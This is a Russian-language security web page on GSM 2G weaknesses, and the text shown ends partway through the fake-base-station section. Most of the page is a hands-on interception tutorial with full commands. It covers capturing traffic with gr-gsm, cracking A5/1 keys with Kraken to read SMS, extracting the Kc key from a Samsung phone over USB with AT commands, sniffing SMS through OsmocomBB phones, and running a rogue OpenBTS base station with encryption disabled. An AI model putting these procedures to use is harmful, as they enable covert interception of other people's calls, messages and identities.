Вы находитесь на странице: 1из 51

18.06.

2019 2G

ПОИСК...

(https://radio-secure.ru)
- 2G

Главная (/) Уязвимости (/secure) 2G

УЯЗВИМОСТИ 2G (/SECURE/2G/20-2G)

 
 СОДЕРЖАНИЕ
1 Введение
2 Пассивный радиоперехват данных GSM сети
2.1 GS-GSM+Kraken
2.2 GR-GSM+Samsung
2.3 Motorola+osmocom
3 Активный радиоперехват данных GSM-сети
3.1 Запуск поддельной базовой станции OpenBTS
3.2 Motorola+osmocom ("фейковая" БС)
4 Готовые решения
5 Методы защиты со стороны абонента
  
Хронология 
На данный момент времени самым распространённым по территории и количеству абонентов стандартом сотовой связи
является GSM. В тоже время принципы обеспечения безопасности, хоть и получали развитие в течение многих лет
использования стандарта, на практике подвержены угрозам, так как зачастую появившиеся вновь спецификации стандарта
попросту не применялись операторами (например, шифрование A5/3).
Уязвимым местом стандарта GSM также является односторонняя аутентификация – аппарат абонента с сим-картой
аутентифицируется базовой станцией, но не наоборот. Эта уязвимость стала причиной появления уязвимостей через так
называемые «фейковые» базовые станции, имитирующие реальную базовую станцию. Злоумышленник пропускает трафик
абонента через «фейковую» базовую станцию с выключенным шифрованием и ему становятся доступны голосовой трафик,
смс-сообщения, USSD-запросы. Существуют такие устройства как в промышленном исполнении для силовых структур, так
и доступные каждому с необходимым уровнем знаний в области сотовой связи и компьютерной техники.
Шифрование А5/1 также не является гарантией защиты данных – при помощи радужных таблиц и утилиты Kraken ключ
шифрования можно найти буквально за минуты в 90 процентах случаев.
Более защищенный A5/3 практически не применяется операторами связи – алгоритм нестабильно работает на многих
моделях абонентских устройств. 
Отдельный интерес представляет система сигнализации ОКС-7 (за рубежом SS7). Это набор сигнальных телефонных
протоколов, используемых для настройки большинства телефонных станций по всему миру на основе сетей с канальным
разделением по времени. Злоумышленник, получив доступ к этой системе, получает доступ ко всему трафику и
местоположению абонентов по всему миру.
https://radio-secure.ru/secure/2g 1/51
Безопасность
18.06.2019 GSM сети изначально основывалась на принципе «безопасность 2G через неясность», но в 1994 году основные
детали алгоритма стали известны. В 1994 году известными криптоаналитиками продемонстрировали возможность взлома
алгоритма А5 менее чем за секунду на домашнем компьютере с 128 Mb оперативной памяти и 73 Gb пространства на
жестком диске.
В 2010 году Sylvain Munaut и Karsten Nohl продемонстрировали взлом ключа при помощи радужных таблиц объёмом 2 TB и
расшифровку голосового трафика.
 
2 Пассивный радиоперехват данных GSM сети
Под пассивным перехватом следует понимать перехват данных сотовой сети без непосредственного вмешательства в работу
сети и излучения в радиоэфир. Такие атаки полностью скрыты от оператора и абонента. 
 
2.1 Gr-gsm+Kraken
Суть метода заключается в записи радиоэфира на определенной частоте (ARFCN -абсолютный радиочастотный канал) и
последующей его дешифрации ключом, полученным с помощью утилиты Kraken и радужных таблиц. Атакуемый абонент
должен быть подключен к базовой станции  без включения функции перестройки частоты на базовой станции - Frequency
Hopping’а. В сети есть патч для программы airprobe, позволяющий записывать радиоэфир с перестройкой частоты, но он
предназначен для конкретного оператора связи. Есть  возможность адаптировать этот патч для нужного оператора. 
Для записи радиоэфира используется GR-GSM - проект Gnu Radio для стандарта GSM. В качестве SDR радиомодуля
используются такие устройства как Hack RF One, USRP B210 и т.п. Этот метод работает в 90 % случаев. 
Радужные таблицы доступны в интернете:
 
https://opensource.srlabs.de/projects/a51-decrypt/files (https://opensource.srlabs.de/projects/a51-decrypt/files)
http://hyse.org/a51torrents/ (http://hyse.org/a51torrents/)
 
После загрузки файлов необходимо сверить контрольные суммы файлов с контрольными суммами, представленными в
текстовом файле.
Все действия по установке и настройке производятся с правами суперпользователя.
 
Установка kraken

Действия производятся в домашнем каталоге.


 

# git clone https://github.com/joswright/kraken


# cd kraken
# apt-get install make automake gcc g++ cmake
# make noati
# cd a5_cpu
# ./a5cpu_test
# cd ..
# cd indexes
# nano tables.conf.sample

 
В строке «Device» указываем раздел с файлами радужных таблиц (например, /dev/sda) и указываем параметр max_tables -
40. Сохраняем файл под названием tables.conf.
 

# сd ..

 
Запускаем kraken. При первом запуске происходит процесс индексации таблиц, который занимает около часа.
 

# ./kraken ../indexes
Kraken >> test

 
https://radio-secure.ru/secure/2g 2/51
Установка утилит airprobe и gsmframecoder
18.06.2019 2G

Действия производятся в домашнем каталоге.


 

# mkdir data
# cd data
# git clone https://github.com/iamckn/airprobe
# cd airprobe
# cd gsmdecode
# ./bootstrap
# ./configure
# make
# cd gsm-receiver
# ./bootstrap
# ./configure && make -j4
# wget www.ks.uni-freiburg.de/download/misc/gsmframecoder.tar.gz
# mkdir gsmframecoder
# mv gsmframecoder.tar.gz gsmframecoder
# cd gsmframecoder
# tar zxvf gsmframecode.tar.gz
# cd gsmframecoder
# cd test
# make clean
# make
# ./gsmframecoder

 
Установка gr-gsm
 

# git clone https://github.com/pybombs/pybombs.git


# cd pybombs
# python setup.py install
# pybombs recipes add gr-recipes git+https://github.com/gnuradio/gr-recipes.git
# pybombs recipes add gr-etcetera git+https://github.com/gnuradio/gr-etcetera.git
# pybombs prefix init /usr/local/ -a gr-gsm
# pybombs -p gr-gsm install gr-gsm
# ldconfig

 
 Установка необходимых программ и утилит завершена.
  
Запись трафика 
Для записи трафика необходимо определить ARFCN - абсолютный радиочастотный номер канала абонента. Эту
информацию можно узнать из инженерного меню телефона, либо через специальное ПО osmocombb и совместимый
телефон. 
Команда gr-gsm для записи трафика:
 

# grgsm_capture.py -g 40 -a 734 -s 1000000 -c example.cfile -T 20

 
Параметр a задает номер записываемого канала ARFCN, c – имя записываемого файла, T – время записи в секундах.
Остальные параметры следует оставить без изменения. Файл сохранится в каталоге запуска команды.
Для просмотра GSM-пакетов используется программа Wireshark:
 

# apt-get install wireshark

 
https://radio-secure.ru/secure/2g 3/51
 Запускаем
18.06.2019wireshark для прослушивания трафика на локальной петле2G
127.0.0.1 и выставляем фильтрацию по протоколу
gsmtap: 
 

# wireshark

 
Далее вводим команду для декодирования записанного файла:
 

# grgsm_decode -a 734 -s 1e6 -c example.cfile -m BCCH -t 0

 
Параметр с задает имя декодируемого файла, m – тип канала, t – номер таймслота (необходимо задать 0). Нам необходимо
задать канал BCCH (Broadcast Control Channel) — широковещательный канал управления. Базовая станция осуществляет
передачу BCCH непрерывно на специальной частоте, которую называют BCCH несущей. Примерно раз в 30 секунд
мобильная станция, находящаяся в свободном состоянии (включена и не в процессе разговора), просматривает
информацию, передаваемую по каналу BCCH. Перечень информации, передаваемой по BCCH:
- идентификатор зоны местоположения LAI;
- список смежных сот, которые также сканируются мобильной станцией;
- перечень частот, которые используются в текущей соте;
- идентификатор соты (Cell Identify);
- информация, необходимая для контроля мощности передачи;
- сервис поддержки DTX;
- услуги контроля доступа (Call Barring). Дает возможность абоненту ставить запрет на конкретные виды звонков (например
запрет входящих звонков).

В программе Wireshark необходимо определить номер таймслота для сигнального канала SDCCH (Stand Alone Dedicated
Control Channel). Информация передается в двух направлениях (Uplink и Downlink). При Downlink - передаче базовая
станция применяет канал SDCCH для сигнализации во время установления соединения, а контроллер BSC при помощи
этого канала назначает для MS каналы трафика TCH. При Uplink-передаче мобильная станция использует канал SDCCH для
сигнализации, по этому каналу она принимает информацию о назначении ей конкретного канала TCH (номер таймслота и
частоту). В обоих направлениях по этому каналу происходит также передача коротких сообщений (SMS), при условии, что
мобильная станция находится в состоянии IDLE. SDCCH, к тому же, обеспечивает передачу информации, необходимой для
Call Forwarding (переадресация вызовов).
 

 
Необходимая информация содержится в пакетах Immediate Assignment - значение Timeslot.
 
https://radio-secure.ru/secure/2g 4/51
18.06.2019 2G

 
 Узнав номер таймслота для сигнального канала SDCCH, запускаем команду декодирования файла радиоэфира с новыми
параметрами. Программа wireshark должна быть предварительно запущена для просмотра трафика локальной петли.
 

# grgsm_decode -a 734 -s 1e6 -c example.cfile -m SDCCH8 -t 1

 
Необходимо убедиться, что оператор сотовой связи применяет алгоритм шифрования А5/1. В wireshark раскрываем пакет
Ciphering Mode Command, поле Algorithm identifier.
 

https://radio-secure.ru/secure/2g 5/51
18.06.2019 2G

 
 Далее необходимо определить значение поля GSM Frame Number в пакете System Information Type 5.
 

 
https://radio-secure.ru/secure/2g 6/51
18.06.2019 2G
# cd /home/user/kraken/Utilities
# ./xor.py *Decoded Frame Burst* *двоичная последовательность из файла bursts.txt*

 
Сохраняем значение GSM Frame Number в текстовый файл. Также нам необходимы 2 кадра с номерами GSM Frame Number
+102 и GSM Frame Number +204.
Воспользуемся утилитой go.sh из пакета airprobe:
 

# cd /home/user/data/airprobe/gsm-receiver/src/python
# ./go.sh /home/user/sms.cfile 64 1S &> /home/user/data/bursts.txt

 
Открываем полученный файл:
 

# cd /home/user/data
# less bursts.txt

 
Вводим в консоли /*GSM Frame number* и сохраняем двоичные последовательности с номерами *GSM Frame number* до *
GSM Frame number+3* в текстовый файл. Для первого GSM Frame Number также необходимо сохранить первую
шестнадцатеричную последовательность. Аналогичную операцию повторяем с номерами GSM Frame Number +102 и GSM
Frame Number +204.
Теперь воспользуемся утилитой gsmframecoder:
 

# cd /home/user/data/gsmframecoder/gsmframecoder/test/
# ./gsmframecoder *шестнадцатеричная последовательность

 
Утилита выдаст 4 двоичных последовательности:
 

 
Сохраняем последовательности в тот же текстовый файл. Далее необходимо провести логическую операцию исключающее
ИЛИ с 4мя двоичными последовательностями для второго и третьего GSM Frame Number, результат сохранить в текстовый
файл:
 

# cd /home/user/kraken/Utilities
# ./xor.py *Decoded Frame Burst* *двоичная последовательность из файла bursts.txt*

https://radio-secure.ru/secure/2g 7/51
  18.06.2019 2G

Должно получиться 8 двоичных последовательностей для kraken.


 

 
Запускаем утилиту kraken, и вводим XOR последовательность:
 

# cd /home/user/kraken/Kraken/
# ./kraken ../indexes
Kraken >> crack *вводим XOR последовательность*

 
Аналогичные действия проводим для всех 8ми XOR последовательностей. В случае успешного поиска в радужных
таблицах программа выдаст шестнадцатеричную последовательность и ее местонахождение.
 

https://radio-secure.ru/secure/2g 8/51
18.06.2019 2G

 
Запускаем утилиту find_kc, указав параметры, полученные утилитой kraken, и задаем также дополнительные параметры –
второй семизначный параметр исходной и предыдущей последовательности и предыдущую XOR последовательность.
 

# cd /home/user/kraken/Utilities
# ./find_kc *данные kraken* *второй семизначный параметр исходной последовательности* *второй семизначн
ый параметр предыдущей последовательности* *предыдущая XOR последовательность*

 
В случае успешного нахождения ключа шифрования программа выдаст ключ с параметром *MATCHED*.
 

https://radio-secure.ru/secure/2g 9/51
18.06.2019 2G

 
Запускаем программу wireshark на просмотр трафика локальной петли:
 

# wireshark

 
и декодируем файл радиоэфира, задав ключ шифрования:
 

grgsm_decode -a 734 -s 1e6 -c example.cfile -m SDCCH8 -t 1 –e 1


–k ‘ключ шифрования’

 
Переходим в программу wireshark, и находим GSM_SMS. Внутри есть информация с номером отправителя и текстом
сообщения.
 

https://radio-secure.ru/secure/2g 10/51
18.06.2019 2G

 
Подробное видео по расшифровке sms:
 

GSM Cracking: SMS w/ Kraken - Software De ned Radio Se…


Se…

 
 
На сайте  https://www.crazydanishhacker.com/ (https://www.crazydanishhacker.com/) также представлены видеоматериалы по
расшифровке голосовых данных.
 

https://radio-secure.ru/secure/2g 11/51
2.2 GR-GSM + Samsung
18.06.2019 2G

Этот метод применим, когда мы имеем физический доступ к устройству абонента (протестировано на Samsung Galaxy S6).
Запись эфира также осуществляется радиомодулями и программой GR-GSM. Ключ шифрования извлекается через отправку
на телефон AT-команд через USB-интерфейс. Далее трафик расшифровывается программой GR-GSM аналогично методу,
описанному выше. 
 

 
Подключаем смартфон Samsung Galaxy S6 к ПК через USB-кабель.
Создадим каталог usbswitch:
 

# mkdir usbswitch

 
Скопируем текст файла usbswitcher.c c github в буфер:
 

https://github.com/ud2/advisories/blob/master/android/samsung/nocve-2016-0004/usbswitcher.c
# cd usbswitch

  
Создадим файл, вставим содержимое буфера и сохраним файл:
 

# nano switcher.c

 
Необходимо скачать и установить библиотеку libusb: https://sourceforge.net/projects/libusb/files/libusb-
0.1%20%28LEGACY%29/0.1.12/libusb-0.1.12.tar.gz/download
Перенесем скачанный архив из каталога загрузки в usbswitch:
 

# mv ~/\Загрузки/ libusb-0.1.12.tar.gz ./

 
Извлечем файлы из архива:
 

# tar zxvf libusb-0.1.12.tar.gz

 
Перейдем в каталог:
https://radio-secure.ru/secure/2g 12/51
  18.06.2019 2G

# cd libusb-0.1.12

 
Запускаем компиляцию и устанавливаем:
 

# ./configure
# make
# make install
# ldconfig
# gcc switcher.c –o switcher –lusb

 
Запускаем скрипт для перевода смартфона в режим модема:
 

# ./switcher

 
Как правило, переключение получается с 3ей попытки. В случае успеха выведется сообщение Configuration swiched! Если
не удается, скорее всего необходимо попробовать переключать режимы модема в android настройках для разработчика.
Устанавливаем minicom:
 

# apt-get install minicom

 
Как правило, устройство монтируется на /dev/ttyACM0. Запускаем minicom и в настройках указываем /dev/ttyACM0:
 

# minicom

 
Вводим команды (если команды не вводятся в minicom с клавиатуры, предварительно скопируйте их в буфер, и просто
вставляйте в интерфейсе утилиты)
 

AT+CRSM=176,28448,0,0,9 – команда на извлечение Kc (удалить последние 2 значения (1 байт));


AT+CRSM=176,28542,0,0,11 – команда на извлечение TMSI (удалить все, за исключением первых 8 значений (п
ервых 4 байт))

  
2.3 Motorola + osmocom
OsmocomBB – это проект, целью которого является свободная (Open Source) имплементация стека протоколов GSM.
OsmocomBB предоставляет исходный код прошивок для совместимых телефонов и программное обеспечение для их
взаимодействия с компьютером.
Применение OsmocomBB:
- сниффинг GSM трафика
- запуск базовой станции (необходима замена фильтров)
- индикация уровня принимаемого сигнала RSSI
- стресс тестинг беспроводного оборудования EMI – генерация программно-определяемых помех для тестирования
различного беспроводного оборудования
- Sim Reader – приложение для взаимодействия с сим-картой
- запуск операционной системы реального времени NuttX на совместимых телефонах
- прием и отправка звонков и смс, выполнение DTMF команд под управлением osmocombb
Необходимое оборудование
Для работы с проектом OsmocomBB необходимы устройства на базе сигнального процессора (DSP) Calypso G2 C035.
Разработчики написали проект для работы именно с этим процессором, так как его спецификации были выложены в
открытом доступе в сети интернет, произошла утечка информации.
https://radio-secure.ru/secure/2g 13/51
18.06.2019 2G

Передача данных от сотового телефона (ms) к базовой станции (BTS) осуществляется в несколько этапов. Сначала событие
передачи генерируется центральным процессором и передается на процессор обработки сигналов (DSP), который
захватывает сигнал напрямую с микрофона и передает на аппаратный модулятор. После модуляции сигнал преобразуется из
цифрового в аналоговый, усиливается и через switch поступает на антенну, с помощью которой и передается в эфир.
Процесс приема сигнала обратный, только в данном случае сигнал проходит фильтрацию, а демодуляция выполняется
программно на DSP .

Ниже приведен список устройств на базе этого процессора:


Motorola:
- Motorola c115/c117 (e87);
- Motorola c123/c121/c118 (e88);
- Motorola c140/c139 (e86);
- Motorola c155(e99);
- Motorola v171(e68/e69);
Другие производители:
- SonyEricsson J100i;
- Pirelli DP-L10;
-Neo 1973 ;
- OpenMoko-Neo Freerunner.

Также необходим кабель и преобразователь USB-TTL для связи телефона и ПК. На телефоне используется вход гарнитуры –
2.5 мм jack. Верхний контакт разъема используется для TXD, средний RXD, корпус – заземление GND. Преобразователь
USB-TTL можно выбрать из списка ниже. Чем выше в списке тем приоритетнее использование конвертера:
1) FT-232 – позволяет использовать нестандартные скорости передачи, работает наиболее стабильно
2) CP2102 – позволяет использовать нестандартные скорости обновления прошивки
3) PL2303 – не работает на нестандартных скоростях, работает нестабильно
Стандартный разъем 2.5 мм jack может не плотно входить в гнездо телефона. Для решения проблемы необходимо
подпилить корпус штекера.
Схема подключения представлена ниже.
 

https://radio-secure.ru/secure/2g 14/51
18.06.2019 2G

 
В качестве операционной системы ПК желательно использовать Ubuntu 14 либо 16 версий. В теории возможно
использование любой Unix OC.
Опционально возможна доработка мобильного устройства – замена фильтров. Это позволит анализировать трафик downlink
канала, не предназначенный для данного телефона. Более подробное описание по ссылке
https://osmocom.org/projects/baseband/wiki/Filter_Replacement (https://osmocom.org/projects/baseband/wiki/Filter_Replacement).
Проверку работоспособности соединения можно провести следующим способом:
- выключаем телефон:
- соединяем его с компьютером;
 

sudo apt-get install minicom

 
Запускаем в режиме настройки
 

sudo minicom -s

 
- переходим в "Настройка последовательного порта"
- выбираем свой порт, который можно найти в выводе команды ls /dev/ | grep tty
- скорость 115200, стоповые биты: 8-N-1.
- после этого нажимаем "Enter", затем "Esc".
- однократно (не зажимая) нажмите кнопку включения телефона.
Должна отобразится строка @ftmtoolerror
Если телефон завис, необходимо вытащить аккумулятор и повторить действия. Если проблема не решилась, проверьте
качество соединения, прозвонив контакты мультиметром.
Описание стека протоколов GSM
Стек протоколов GSM, регулирующих процессы взаимодействия мобильных телефонов и базовых станций, можно
разделить на 3 логических уровня:
Layer 1: Физический уровень. Протоколы данного уровня описывают принципы взаимодействия устройств в радиоэфире.
Для обеспечения одновременного взаимодействия сети и нескольких мобильных устройств в GSM-сетях применяются две
технологии множественного доступа: FDMA (Frequency Division Multiple Access) и TDMA (Time Division Multiple Access).
FDMA подразумевает разбиение доступного диапазона частот на каналы (ARFCN), каждый из которых позволяет
передавать данные от абонентов к сети (uplink) и от сети к абонентам (downlink). TDMA подразумевает
мультиплексирование физического канала с разделением по времени, то есть, каждому устройству предоставляется
возможность приема и передачи данных в определенные моменты времени. Согласно TDMA физический канал (ARFCN)
https://radio-secure.ru/secure/2g 15/51
разбивается
18.06.2019 на несколько логических каналов, например, PCH (Paging2G
channel), на котором базовая станция уведомляет
телефон о входящем вызове, или BCCH (Broadcast Control channel), используемый для идентификации базовой станции
мобильными телефонами.

 
Layer 2: Канальный уровень, основными задачами которого являются: установление, поддержание и разрыв соединений
между устройствами сети; контроль потоков данных, обнаружение ошибок, а также транзит данных третьего уровня. На
данном уровне работают протоколы LAPD и LAPDm, обеспечиваются множественные соединения, а также
функциональность логических каналов BCCH, PCH, AGCH и DCCH.
Layer 3: Сетевой уровень, подразделяющийся на три подуровня:
Radio Resource (RR) — подуровень, отвечающий за создание и освобождение логических каналов между устройствами;
Mobility Management (MM) — подуровень, выполняющий аутентификацию пользователей, а также отслеживающий
перемещения абонентов между зонами покрытия (сотами) различных базовых станций;
Call Control (CC) — подуровень, отвечающий за телефонные звонки.
Подробное описание данной темы по ссылке https://en.wikipedia.org/wiki/Um_interface
(https://en.wikipedia.org/wiki/Um_interface)
 

На телефоне функционирует физический уровень, остальные два реализуются на стороне компьютера, взаимодействие
телефона и компьютера осуществляется через UART-интерфейс телефона.
Установка проекта OsmocomBB на ПК
OsmocomBB разрабатывается на базе системы контроля версий Git, исходные коды доступны по адресу git.osmocom.org.
Большинство возможностей проекта, таких как RSSI, интерфейс для приема/совершения голосовых звонков и обмена SMS-
сообщениями, доступны в основной ветке проекта (master). Однако наиболее интересные возможности доступны в виде
ответвлений репозитория — веток (branch):

luca/catcher
IMSI-Catcher. Под IMSI-Catcher подразумевают устройство, маскирующееся под настоящую базовую станцию с целью
https://radio-secure.ru/secure/2g 16/51
сбора IMSI (международный идентификатор мобильного абонента) ближайших
18.06.2019 2G абонентов (что, например, позволяет
отслеживать их местоположение). Правильнее считать, что IMSI-Catching — это только одна из возможностей поддельных
базовых станций (FakeBTS), принцип работы которых довольно прост. IMSI и IMEI коды абонента передаются базовой
станции лишь в момент его подключения, затем абоненту присваивается временный идентификатор TMSI, на основе
которого происходит их дальнейшее взаимодействие. TMSI в отличии от IMSI не является постоянным и меняется при
подключении к другим базовым станциям. Для деанонимизации абонента злоумышленник запускает свою базовую станцию
(например, на базе USRP), мощность сигнала которой превышает мощность настоящих базовых станций. Благодаря этому,
телефон абонента подключается к станции с более мощным сигналом, а затем передает свои IMSI и IMEI коды. Иногда
FakeBTS могут выступать в роли посредников между абонентом и настоящей базовой станцией, позволяя злоумышленнику
выполнять различные MiTM-атаки, а также тратить деньги абонента. Присутствие в эфире фейковых БС можно
обнаружить, например, с помощью проектов: FakeBTS или Android IMSI-Catcher Detector. Автор данной ветки также
интегрировал в проект возможность обнаружения подобной активности. Подробнее об этом можно узнать по ссылке
https://opensource.srlabs.de/projects/mobile-network-assessment-tools/wiki/CatcherCatcher
(https://opensource.srlabs.de/projects/mobile-network-assessment-tools/wiki/CatcherCatcher).

jolly/emi
Здесь интегрировано приложение EMI, предназначенное для проведения стресс-тестов беспроводного оборудования.
Подробнее на сайте проекта http://osmocom.org/projects/baseband/wiki/emi-firmware
(http://osmocom.org/projects/baseband/wiki/emi-firmware).

sylvain/burst_ind
Сниффинг GSM трафика

jolly/menu
Запись приложений во Flash-память телефона. Имеется возможность прошить загрузочное меню, которое с помощью
графического интерфейса будет предоставлять выбор приложения для загрузки. Процесс прошивки описан на странице
http://osmocom.org/projects/baseband/wiki/flashing_new (http://osmocom.org/projects/baseband/wiki/flashing_new).

luca/libosmosim
Использование OsmocomBB-совместимый телефон для взаимодействия с SIM-картой. После сборки проекта в папке
src/host/layer23/src/libosmosim/.libs будет доступна библиотека libosmosim.so, на базе которой работает проект SIMTester. С
его помощью можно проверять криптостойкость SIM-карт, а также безопасность установленных на них приложений.

sylvain/testing
Здесь можно найти приложение TRX, которое превращает OsmocomBB-совместимый телефон в небольшую базовую
станцию.
Остальные ответвления репозитория в основном содержат исправления и нововведения других разработчиков проекта,
которые иногда попадают в ветку master.
Установка:
Все действия производятся от имени суперпользователя:
 

$ sudo su

 
Установка зависимостей:
 

# apt-get update
# apt-get install libtool shtool automake autoconf git-core pkg-config make gcc

 
Создание папки для библиотек и кросс-компилятора:
 

# mkdir /opt/osmocom

  https://radio-secure.ru/secure/2g 17/51
Установка библиотеки libosmocore:
18.06.2019 2G

# cd /opt/osmocom
# git clone git://git.osmocom.org/libosmocore.git
# cd libosmocore
# autoreconf -i

Библиотека pcsclite требуется для сборки libosmocore:


 

# apt-get install libpcsclite-dev


# ./configure
# make
# make install

 
Сборка кросс-компилятора является основным источником ошибок и занимает наибольшую часть времени. В большинстве
случаев возникает ошибка "@itemx must follow @item". Дело в том, что для сборки требуется более старая версия TexInfo.
Можно выполнить downgrade вручную, а можно воспользоваться исправленной версией инсталлятора:
 

# cd /opt/osmocom

 
Зависимости кросс-компилятора:
 

# apt-get install build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev flex bison libncurses5 li
bncurses5-dbg libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev zlibc zlib1g-dev libmpfr4
libmpc-dev texinfo

Клонируем скрипты инсталлятора:


 

# git clone https://github.com/axilirator/gnu-arm-installer.git gnu-arm-toolchain


# cd gnu-arm-toolchain

 
Загружаем все необходимое:
 

# ./download.sh

 
Запускаем процесс компиляции:
 

# ./build.sh

 
После сообщения об успешной сборке необходимо добавить путь к исполняемым файлам кросс-компилятора в переменную
среду PATH.
Права администратора теперь не нужны.
 

$ su <ваша учетная запись>


$ cd ~

https://radio-secure.ru/secure/2g 18/51
Убедитесь,
18.06.2019что директория /opt/osmocom/gnu-arm-toolchain/install/bin/ 2G
доступна и содержит исполняемые файлы кросс-
компилятора, например, с помощью команды ls.
Редактируем переменные среды:
 

$ gedit .bashrc

 
Добавляем в самый конец файла строку:
 

# export PATH=$PATH:/opt/osmocom/gnu-arm-toolchain/install/bin/

 
Не забываем сохраниться.
 

$ source .bashrc

 
Проверим доступность исполняемых файлов:
 

$ arm-elf-gcc -v

 
В результате чего должна появиться информация о компиляторе. В случае ошибки проверьте правильность пути к папке bin
и его наличие в переменной PATH.
В домашнем каталоге создадим директорию osmocombb:
 

# mkdir ~/osmocombb
# cd ~/osmocombb

 
Клонируем репозиторий:
# git clone git://git.osmocom.org/osmocom-bb.git master

Компилируем:
$ cd master/src
$ make
Если возникает ошибка "no such instruction: `eor %edx,%ecx,%ecx,ror'", значит исполняемые файлы Вашего кросс-
компилятора не доступны — проверьте все еще раз. Запомните эту последовательность действий — она используется
каждый раз при сборке новой ветки. Для того, чтобы клонировать определенную ветку репозитория, используйте флаг -b,
например:
Пример клонирования ветки sylvain/burst_ind:
 

$ cd ~/osmocombb
$ git clone git://git.osmocom.org/osmocom-bb.git -b sylvain/burst_ind burst_ind

 
Структура проекта, процесс загрузки приложений (прошивок)
Папка src, содержит следующие директории:
- host — исходный код программ, исполняемых на серверной стороне;
- target — исходный код прошивок, а также библиотек для их компиляции;
- target_dsp — инструменты для работы с исполняемым кодом DSP и плагины для IDA;
- wireshark — патчи для старых версий Wireshark;
- shared — содержит копию библиотеки libosmocore, используемую для сборки прошивок.
 
https://radio-secure.ru/secure/2g 19/51
Подробнее
18.06.2019о структуре проекта можно почитать в файле README.development.
2G Исходные коды приложений OsmocomBB
хранятся в папке src/target/firmware/apps, а их скомпилированные версии доступны отдельно для каждой платформы в папке
/src/target/firmware/board. Возможны два варианта скомпилированного приложения (прошивки): compalram и highram.
Первый вариант предназначен для загрузки с помощью стандартного загрузчика телефона. Некоторые «объемные»
приложения, например, RSSI, не могут быть загружены стандартным загрузчиком, поэтому выполняется «загрузка по
цепочке»: сначала загружается кастомный загрузчик loader.compalram.bin, который загружает прошивку типа highram.
Синтаксис «загрузки по цепочке»:
На сайте проекта можно встретить устаревший синтаксис:
 

$ host/osmocon/osmocon -m c123xor -p /dev/ttyUSB0 -c target/firmware/board/compal_e88/rssi.highram.bin


target/firmware/board/compal_e88/chainload.compalram.bin

 
Однако в текущей версии проекта chainload интегрировали в osmocon, поэтому последний аргумент не требуется.
Используйте ключ -c:
 

$ host/osmocon/osmocon -m c123xor -p /dev/ttyUSB0 -c target/firmware/board/compal_e88/rssi.highram.bin

 
Как только понадобится завершить работу приложения, остановите процесс osmocon, а затем нажмите и удерживайте
кнопку выключения в течение двух секунд.
Взаимодействие с оборудованием:

- osmocon — выполняет загрузку прошивок в оперативную память телефона, а также создает интерфейс обмена
информацией между прошивкой и другими серверными программами. Параметр -m позволяет указать протокол обмена
данными для различных моделей телефонов, а с помощью параметра -с выполняется «загрузка по цепочке» (chainloading)
тяжеловесных приложений, которые не способен загрузить стандартный загрузчик телефона;

- osmoload — позволяет читать и записывать содержимое flash-памяти телефона. Используется при прошивке приложений.
Подробнее на странице http://osmocom.org/projects/baseband/wiki/flashing (http://osmocom.org/projects/baseband/wiki/flashing);

- calypso_pll, rita_pll — используются для получения информации о чипсете и трансивере телефона.

Приложения 2 и 3 уровней стека протоколов GSM

- mobile — приложение, реализующее функционал обычного телефона, расширенное дополнительной функциональностью


для взаимодействия с сетью GSM. Подробнее на странице http://osmocom.org/projects/baseband/wiki/mobile
(http://osmocom.org/projects/baseband/wiki/mobile);

- cell_log — позволяет выполнять сканирование диапазона частот, находить ближайшие базовые станции, а также получать
информацию о них (мощность принимаемого сигнала, MNC, MCC и другую системную информацию). Позволяет
синхронизироваться с базовой станцией и получать информацию, передаваемую на канале BCCH;

- ccch_scan, bcch_scan — позволяют синхронизироваться с базовой станцией и получать ее служебную информацию;

- cbch_sniff — позволяет записывать служебную информацию сети в файл;

- gsmmap — используя вывод cell_log, генерирует KML-файл для Google Maps, визуализирующий расположение базовых
станций на карте.
 
Приложения, выполняемые на телефоне
- loader.bin — загрузчик, написанный разработчиками проекта. Используется для чтения и записи flash-памяти, а также при
«загрузки по цепочке»;
- compal_dsp_dump.bin — позволяет получать дамп содержимого DSP-процессора.;
- https://radio-secure.ru/secure/2g
menu.bin — предоставляет возможность выбора приложения для загрузки из flash-памяти; 20/51
- 18.06.2019
rssi.bin — приложение, позволяющее отслеживать мощность принимаемого
2G сигнала на различных каналах сотовой сети;
- emi.bin — приложение для проведения стресс-тестинга беспроводного оборудования;
- layer1.bin — используется для взаимодействия с сотовой сетью и SIM-картой;
-trx.bin — превращает телефон в Transceiver для работы OpenBTS или OsmoBTS.

Чтение смс в программе wireshark через приложения mobile


 

# sudo /home/radiosecure/osmocombb/master/src/host/osmocon/osmocon -p /dev/ttyUSB0 -m c123xor -c /hom


e/kairat/osmocombb/master/src/target/firmware/board/compal_e88/layer1.highram.bin

 
Открываем второй терминал:
 

$ cd /home/radiosecure/osmocombb/master/src/host/layer23/src/mobile/
# sudo ./mobile –a «номер канала ARFCN» –i 127.0.0.1

 
Номер канала реального оператора можно узнать, изучив выходные данные команды cell_log, либо с помощью MS
(например, Samsung Galaxy – команда *#0011#)
Открываем третий терминал:
 

# sudo wireshark

 
Отправляем тестовую смс и выставляем фильтр gsm_sms:

В поле TP-Originating-Address указан номер отправителя, в поле TP-User-Data указан текст смс сообщения.
   

 
 
3 Активный радиоперехват данных GSM сети

3.1 Запуск поддельной базовой станции OpenBTS 5.0


Этот метод основан на использовании уязвимости - односторонней аутентификации. При помощи имитации параметров
базовой станции реального сотового оператора на виртуальной базовой станции, мы можем переключить абонента на себя
(необходимо, чтобы сигнал нашей базовой станции в точке нахождения абонента превышал сигнал базовой станции
реального оператора). Переключив абонента и отключив шифрование на базовой станции, возможно прослушивание
данных абонента. Этот метод довольно затратен в связи с довольно большой стоимостью SDR модулей.
https://radio-secure.ru/secure/2g 21/51
  18.06.2019 2G

 
Проект доступен по ссылке http://openbts.org/  (http://openbts.org/)
Для реализации атаки необходимо установить и настроить систему OpenBTS с конфигурацией реальной сети (MCC, MNC,
имя сети), отключить шифрование и включить открытую регистрацию. Для переключения абонента необходимо чтобы в
зоне приёма сигнала атакуемого абонента сигнал поддельной базовой станции был мощнее сигнала реальной сети.  
 
3.2 Motorola+osmocom ("фейковая" базовая станция)
Этот метод отличается низкой стоимостью оборудования. Для запуска базовой станции необходимо два телефона (Motorola
c 118, c115, c118) с чипом Calypso. Спецификации процессора этих моделей телефонов утекли в интернет, что позволило
создать проект osmocombb. OsmocomBB – это проект, целью которого является свободная (Open Source) имплементация
стека протоколов GSM. OsmocomBB предоставляет исходный код прошивок для совместимых телефонов и программное
обеспечение для их взаимодействия с компьютером.
